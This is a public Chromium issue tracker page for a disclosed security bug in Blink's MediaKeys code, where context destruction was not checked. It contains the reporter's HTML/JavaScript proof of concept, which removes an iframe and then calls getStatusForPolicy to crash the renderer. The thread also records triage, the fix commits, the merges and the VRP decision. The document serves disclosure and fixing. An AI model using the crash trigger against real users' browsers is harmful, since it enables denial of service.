☆ Starred by 4 users

Owner:	jrumm...@chromium.org
CC:	adetaylor@chromium.org xhw...@chromium.org pbomm...@chromium.org
Status:	Fixed *(Closed)*
Components:	Internals>Media>Encrypted
Modified:	Dec 17, 2020
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Linux, Android, Windows, Chrome, Mac, Fuchsia
Pri:	2
Type:	Bug-Security

Hotlist-Merge-Review
reward-0
Security_Severity-Low
Security_Impact-Stable
allpublic
Target-84
Target-85
M-85
merge-merged-4183
merge-merged-85
merge-merged-4240
merge-merged-86
Release-2-M85

Issue 1121414: Security: Missing IsContextDestroyed in MediaKeys

Reported by rapid...@gmail.com on Mon, Aug 24, 2020, 9:41 PM EDT

Code

This template is ONLY for reporting security bugs. If you are reporting a Download Protection Bypass bug, please use the "Security - Download Protection" template. For all other reports, please use a different template.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com /chromium/src/+/master/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: http://g.co/ChromeBugRewards

NOTE: Security bugs are normally made public once a fix has been widely deployed.

VULNERABILITY DETAILS

the MediaKeys method is called asynchronously, pushing action object.[1][2]
pushed action is called by timer [3]. if the context is destroyed, the action list, cdm object, and timer are reset.[4]
if call MediaKeys method again, the timer start again.[5]
but the cdm object is not alive so when action, cause a crash.[6]

it needs to check IsContextDestroyed.

[1] :
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/modules/encryptedmedia/media_keys.cc;drc=df4bfabd8b949084fd3c051e23a42c7a11ea83d4;l=298
[2]
:https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/modules/encryptedmedia/media_keys.cc;drc=df4bfabd8b949084fd3c051e23a42c7a11ea83d4;l=339
[3]
:https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/modules/encryptedmedia/media_keys.cc;drc=df4bfabd8b949084fd3c051e23a42c7a11ea83d4;l=206
[4]:
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/modules/encryptedmedia/media_keys.cc;drc=df4bfabd8b949084fd3c051e23a42c7a11ea83d4;l=427
[5]:
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/modules/encryptedmedia/media_keys.cc;drc=df4bfabd8b949084fd3c051e23a42c7a11ea83d4;l=341
[6]:
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/modules/encryptedmedia/media_keys.cc;drc=df4bfabd8b949084fd3c051e23a42c7a

11ea83d4;l=352

VERSION

Chrome Version: chrome 84
Operating System: all

REPRODUCTION CASE

```
<html>
<head>
</head>
<body>

    <script>

        function allociframe(){
            iframe = document.createElement( "iframe");
            iframe.height = 50;
            iframe.width = 50;
            document.body.appendChild( iframe );
            return iframe;
        }
        function getPossibleAudioCapabilities()
        {
            return [
                { contentType: 'audio/mp4; codecs="mp4a.40.2"' },
                { contentType: 'audio/webm; codecs="opus"' },
            ];
        }

        // Returns a trivial MediaKeySystemConfiguration that should be accepted,
        // possibly as a subset of the specified capabilities, by all user agents.
        function getSimpleConfiguration()
        {
            return [ {
                initDataTypes : [ 'webm', 'cenc', 'keyids' ],
                audioCapabilities: getPossibleAudioCapabilities()
            } ];
        }

        async function main(){
            const audioContentType = 'video/webm; codecs="opus';

            options = [{
                videoCapabilities: [{
                contentType: 'video/webm; codecs="vp09.00.10.08"',
                robustness: 'SW_SECURE_DECODE' // Widevine L3
                }]
            }];
            iframe = allociframe();

            var widevine_system  = "com.widevine.alpha";
            var clear_system = "org.w3.clearkey";
            keySystemAccess = await iframe.contentWindow.navigator.requestMediaKeySystemAccess(clear_system, getSimpleConfiguration());
            keys = await keySystemAccess.createMediaKeys();
            document.body.removeChild(iframe);
            var k = await keys.getStatusForPolicy({minHdcpVersion : '1.0'});

        }
        main();
    </script>
</body>
</html>
```

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: [tab, browser, etc.]
Crash State: [see link above: stack trace *with symbols*, registers, exception record]
Client ID (if relevant): [see link above]

CREDIT INFORMATION
Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?
Reporter credit: Woojin Oh(@pwn_expoit) of STEALIEN

Comment 1 by mpdenton@chromium.org on Tue, Aug 25, 2020, 3:47 AM EDT Project Member

Status: Assigned (was: Unconfirmed)
Owner: xhw...@chromium.org
Labels: Security_Severity-High Security_Impact-Stable OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows
Components: Internals>Media>Encrypted

Thansk for the report, xhwang@ can you take a look?

Comment 2 by ClusterFuzz on Tue, Aug 25, 2020, 3:51 AM EDT Project Member

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5672644980834304.

Comment 3 by sheriffbot on Tue, Aug 25, 2020, 1:59 PM EDT Project Member

Labels: Target-84 M-84

Setting milestone and target because of Security_Impact=Stable and high severity.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 4 by sheriffbot on Tue, Aug 25, 2020, 2:39 PM EDT Project Member

Labels: Pri-1

Setting Pri-1 to match security severity High. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 5 by xhw...@chromium.org on Tue, Aug 25, 2020, 3:55 PM EDT Project Member

Owner: jrumm...@chromium.org
Cc: xhw...@chromium.org

jrummell: Could you please take a look? Thanks!

Comment 6 by sheriffbot on Wed, Aug 26, 2020, 1:36 PM EDT Project Member

Labels: -M-84 Target-85 M-85

Comment 7 by jrumm...@chromium.org on Wed, Aug 26, 2020, 8:58 PM EDT Project Member

Status: Started (was: Assigned)

Am able to repro on ToT using the page provided.

Comment 8 by rsesek@chromium.org on Thu, Sep 3, 2020, 12:05 PM EDT Project Member

jrummell: Any updates?

Comment 9 by jrumm...@chromium.org on Thu, Sep 3, 2020, 1:59 PM EDT Project Member

Fix is out for review. https://chromium-review.googlesource.com/c/chromium/src/+/2378889

Comment 10 by bugdroid on Wed, Sep 9, 2020, 8:08 PM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src.git/+/1257ea7e0601a4a2a2a86bcc4a428573813f6cd7

commit 1257ea7e0601a4a2a2a86bcc4a428573813f6cd7
Author: John Rummell <jrummell@chromium.org>
Date: Thu Sep 10 00:06:45 2020

Check for context destroyed in MediaKeys

Don't allow calls to proceed once the associated content has been
destroyed.

~~Bug: 1121414~~
Test: example in the bug no longer crashes
Change-Id: I3bdeb86f2020f684958b624fcc30438babfb5004
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2378889
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Xiaohan Wang <xhwang@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Commit-Queue: John Rummell <jrummell@chromium.org>
Cr-Commit-Position: refs/heads/master@{#805561}

[modify] https://crrev.com/1257ea7e0601a4a2a2a86bcc4a428573813f6cd7/third_party/blink/renderer/modules/encryptedmedia/media_keys.cc
[modify] https://crrev.com/1257ea7e0601a4a2a2a86bcc4a428573813f6cd7/third_party/blink/renderer/modules/encryptedmedia/media_keys.h
[modify] https://crrev.com/1257ea7e0601a4a2a2a86bcc4a428573813f6cd7/third_party/blink/renderer/modules/encryptedmedia/media_keys_get_status_for_policy.cc
[modify] https://crrev.com/1257ea7e0601a4a2a2a86bcc4a428573813f6cd7/third_party/blink/renderer/modules/encryptedmedia/media_keys_get_status_for_policy.h
[modify] https://crrev.com/1257ea7e0601a4a2a2a86bcc4a428573813f6cd7/third_party/blink/renderer/modules/encryptedmedia/media_keys_get_status_for_policy.idl
[add] https://crrev.com/1257ea7e0601a4a2a2a86bcc4a428573813f6cd7/third_party/blink/web_tests/media/encrypted-media/encrypted-media-context-destroyed.html

Comment 11 by adetaylor@google.com on Thu, Sep 10, 2020, 12:39 PM EDT Project Member

Thanks! Please mark this bug as fixed if it is, then Sheriffbot will initiate merge procedures.

Comment 12 by jrumm...@chromium.org on Thu, Sep 10, 2020, 12:41 PM EDT Project Member

Status: Fixed (was: Started)

Comment 13 by sheriffbot on Thu, Sep 10, 2020, 3:09 PM EDT Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 14 by sheriffbot on Thu, Sep 10, 2020, 3:29 PM EDT Project Member

Labels: Merge-Request-85 Merge-Request-86

Requesting merge to stable M85 because latest trunk commit (805561) appears to be after stable branch point (782793).

Requesting merge to beta M86 because latest trunk commit (805561) appears to be after beta branch point (800218).

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 15 by sheriffbot on Thu, Sep 10, 2020, 3:30 PM EDT Project Member

Labels: -Merge-Request-86 Hotlist-Merge-Review Merge-Review-86

This bug requires manual review: M86's targeted beta branch promotion date has already passed, so this requires manual review
Before a merge request will be considered, the following information is required to be added to this bug:

1. Does your merge fit within the Merge Decision Guidelines?
- Chrome: https://chromium.googlesource.com/chromium/src.git/+/master/docs/process/merge_request.md#when-to-request-a-merge
- Chrome OS: https://goto.google.com/cros-release-branch-merge-guidelines
2. Links to the CLs you are requesting to merge.
3. Has the change landed and been verified on master/ToT?
4. Why are these changes required in this milestone after branch?
5. Is this a new feature?
6. If it is a new feature, is it behind a flag using finch?

Please contact the milestone owner if you have questions.
Owners: govind@(Android), bindusuvarna@(iOS), geohsu@(ChromeOS), pbommana@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 16 by pbommana@google.com on Fri, Sep 11, 2020, 1:28 PM EDT Project Member

Cc: adetaylor@chromium.org pbomm...@chromium.org

Please reply to comment#15.

@Adetaylor(Security TPM) for M86 merge review.

Comment 17 by jrumm...@chromium.org on Fri, Sep 11, 2020, 1:41 PM EDT Project Member

Answers to the questions in #15.

1. Does your merge fit within the Merge Decision Guidelines?
I guess the security team should answer this. In some scenarios this causes Chrome to crash.

2. Links to the CLs you are requesting to merge.
r805561 (from #10).

3. Has the change landed and been verified on master/ToT?

Change has landed in 87.0.4261.0.

4. Why are these changes required in this milestone after branch?
Avoids Chrome crash.

5. Is this a new feature?
No.

Comment 18 by adetaylor@chromium.org on Fri, Sep 11, 2020, 5:28 PM EDT Project Member
Labels: -Merge-Review-86 Merge-Approved-86

Please merge to M86, branch 4240, once this has been looking good in Canary for a day.

I expect to approve merge to M85 in a few days for our final M85 scheduled security refresh, assuming no problems show up.

Comment 19 by pbommana@google.com on Mon, Sep 14, 2020, 12:55 PM EDT Project Member
Please merge your change to M86 branch 4240 ASAP so we can take it in for this week beta release. Thank you.

Comment 20 by adetaylor@google.com on Mon, Sep 14, 2020, 2:31 PM EDT Project Member
Labels: reward-topanel

Comment 21 by bugdroid on Mon, Sep 14, 2020, 4:12 PM EDT Project Member
Labels: -merge-approved-86 merge-merged-4240 merge-merged-86

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src.git/+/fe8c85cb2c031cb7bf6480567fd69d09df3aedd9

commit fe8c85cb2c031cb7bf6480567fd69d09df3aedd9
Author: John Rummell <jrummell@chromium.org>
Date: Mon Sep 14 20:11:45 2020

(merge) Check for context destroyed in MediaKeys

Don't allow calls to proceed once the associated content has been
destroyed.

(cherry picked from commit 1257ea7e0601a4a2a2a86bcc4a428573813f6cd7)

Tbr: jrummell@chromium.org
~~Bug: 1121414~~
Test: example in the bug no longer crashes
Change-Id: I3bdeb86f2020f684958b624fcc30438babfb5004
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2378889
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Xiaohan Wang <xhwang@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Commit-Queue: John Rummell <jrummell@chromium.org>
Cr-Original-Commit-Position: refs/heads/master@{#805561}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2410741
Commit-Queue: Xiaohan Wang <xhwang@chromium.org>
Reviewed-by: John Rummell <jrummell@chromium.org>
Cr-Commit-Position: refs/branch-heads/4240@{#684}
Cr-Branched-From: f297677702651916bbf65e59c0d4bbd4ce57d1ee-refs/heads/master@{#800218}

[modify] https://crrev.com/fe8c85cb2c031cb7bf6480567fd69d09df3aedd9/third_party/blink/renderer/modules/encryptedmedia/media_keys.cc
[modify] https://crrev.com/fe8c85cb2c031cb7bf6480567fd69d09df3aedd9/third_party/blink/renderer/modules/encryptedmedia/media_keys.h
[modify] https://crrev.com/fe8c85cb2c031cb7bf6480567fd69d09df3aedd9/third_party/blink/renderer/modules/encryptedmedia/media_keys_get_status_for_policy.cc
[modify] https://crrev.com/fe8c85cb2c031cb7bf6480567fd69d09df3aedd9/third_party/blink/renderer/modules/encryptedmedia/media_keys_get_status_for_policy.h
[modify] https://crrev.com/fe8c85cb2c031cb7bf6480567fd69d09df3aedd9/third_party/blink/renderer/modules/encryptedmedia/media_keys_get_status_for_policy.idl
[add] https://crrev.com/fe8c85cb2c031cb7bf6480567fd69d09df3aedd9/third_party/blink/web_tests/media/encrypted-media/encrypted-media-context-destroyed.html

Comment 22 by adetaylor@google.com on Tue, Sep 15, 2020, 1:04 PM EDT Project Member
Labels: -Merge-Request-85 Merge-Approved-85

Approving merge to M85, branch 4183, assuming things are looking good in Canary.

Comment 23 by jrumm...@chromium.org on Tue, Sep 15, 2020, 2:00 PM EDT Project Member
Merge in #21 landed in 86.0.4240.38, which hasn't yet been released.

Comment 24 by adetaylor@chromium.org on Tue, Sep 15, 2020, 3:45 PM EDT Project Member
Yep. The branch for the final M85 refresh is going to be cut on Thursday so I don't think we have the luxury of waiting for a beta build. As the fix has been in Canary for quite a few days I think we'll have to merge to M85 based on Canary data alone.

That said, if you have concerns about the stability of the fix then we shouldn't merge to M85.

Comment 25 by bugdroid on Tue, Sep 15, 2020, 8:46 PM EDT Project Member
Labels: -merge-approved-85 merge-merged-85 merge-merged-4183

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src.git/+/f06a6cb3a38e6344893d1b74d022d71a016f7822

commit f06a6cb3a38e6344893d1b74d022d71a016f7822
Author: John Rummell <jrummell@chromium.org>
Date: Wed Sep 16 00:43:28 2020

(merge) Check for context destroyed in MediaKeys

Don't allow calls to proceed once the associated content has been
destroyed.

(cherry picked from commit 1257ea7e0601a4a2a2a86bcc4a428573813f6cd7)

~~Bug: 1121414~~
Test: example in the bug no longer crashes
Change-Id: I3bdeb86f2020f684958b624fcc30438babfb5004
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2378889
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Xiaohan Wang <xhwang@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Commit-Queue: John Rummell <jrummell@chromium.org>
Cr-Original-Commit-Position: refs/heads/master@{#805561}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2412559

Reviewed-by: John Rummell <jrummell@chromium.org>
Cr-Commit-Position: refs/branch-heads/4183@{#1836}
Cr-Branched-From: 740e9e8a40505392ba5c8e022a8024b3d018ca65-refs/heads/master@{#782793}

[modify] https://crrev.com/f06a6cb3a38e6344893d1b74d022d71a016f7822/third_party/blink/renderer/modules/encryptedmedia/media_keys.cc
[modify] https://crrev.com/f06a6cb3a38e6344893d1b74d022d71a016f7822/third_party/blink/renderer/modules/encryptedmedia/media_keys.h
[modify] https://crrev.com/f06a6cb3a38e6344893d1b74d022d71a016f7822/third_party/blink/renderer/modules/encryptedmedia/media_keys_get_status_for_policy.cc
[modify] https://crrev.com/f06a6cb3a38e6344893d1b74d022d71a016f7822/third_party/blink/renderer/modules/encryptedmedia/media_keys_get_status_for_policy.h
[modify] https://crrev.com/f06a6cb3a38e6344893d1b74d022d71a016f7822/third_party/blink/renderer/modules/encryptedmedia/media_keys_get_status_for_policy.idl
[add] https://crrev.com/f06a6cb3a38e6344893d1b74d022d71a016f7822/third_party/blink/web_tests/media/encrypted-media/encrypted-media-context-destroyed.html

Comment 26 by adetaylor@google.com on Wed, Sep 16, 2020, 7:14 PM EDT Project Member

rapid.pwn@, jrummell@, the VRP panel wanted to know whether this crash manifested as a use-after-free or a null pointer dereference. Do either of you know?

Comment 27 by jrumm...@chromium.org on Wed, Sep 16, 2020, 7:35 PM EDT Project Member

When I reproduced the crash, it was a null pointer dereference. In MediaKeys::ContextDestroyed() [1] |cdm_| was freed. Then in MediaKeys::GetStatusForPolicyTask() it gets |cdm| (via method ContentDecryptionModule()) and calls a method on it [2].

[1] https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/modules/encryptedmedia/media_keys.cc;l=473
[2]
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/modules/encryptedmedia/media_keys.cc;l=353;drc=052831f0220b79fe0c3343b49f6d2863ea6de05d;bpv=1;bpt=0

Comment 28 by adetaylor@google.com on Mon, Sep 21, 2020, 1:18 PM EDT Project Member

Labels: Release-2-M85

Comment 29 by adetaylor@google.com on Mon, Sep 21, 2020, 1:44 PM EDT Project Member

Labels: -Security_Severity-High Security_Severity-Low

Assuming this is a null pointer dereference, I'm going to ramp this down to Low severity. I'll keep it as a security bug in case it turns out to be UaF-able. rapid.pwn@, if you have any more information on exploitability please let us know.

Comment 30 by sheriffbot on Mon, Sep 21, 2020, 2:57 PM EDT Project Member

Labels: -Pri-1 Pri-2

Setting Pri-2 to match security severity Low. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 31 by adetaylor@google.com on Wed, Sep 23, 2020, 8:21 PM EDT Project Member

Labels: reward-0

Thanks for the report rapid...@. The VRP panel has declined to reward this on the basis that it's a null pointer dereference. If you know of a way to make it exploitable please do provide us with more information and I'll take it back to the panel.

Comment 32 by adetaylor@google.com on Mon, Sep 28, 2020, 12:36 AM EDT Project Member

Labels: -reward-topanel

Comment 33 by sheriffbot on Thu, Dec 17, 2020, 1:53 PM EST Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot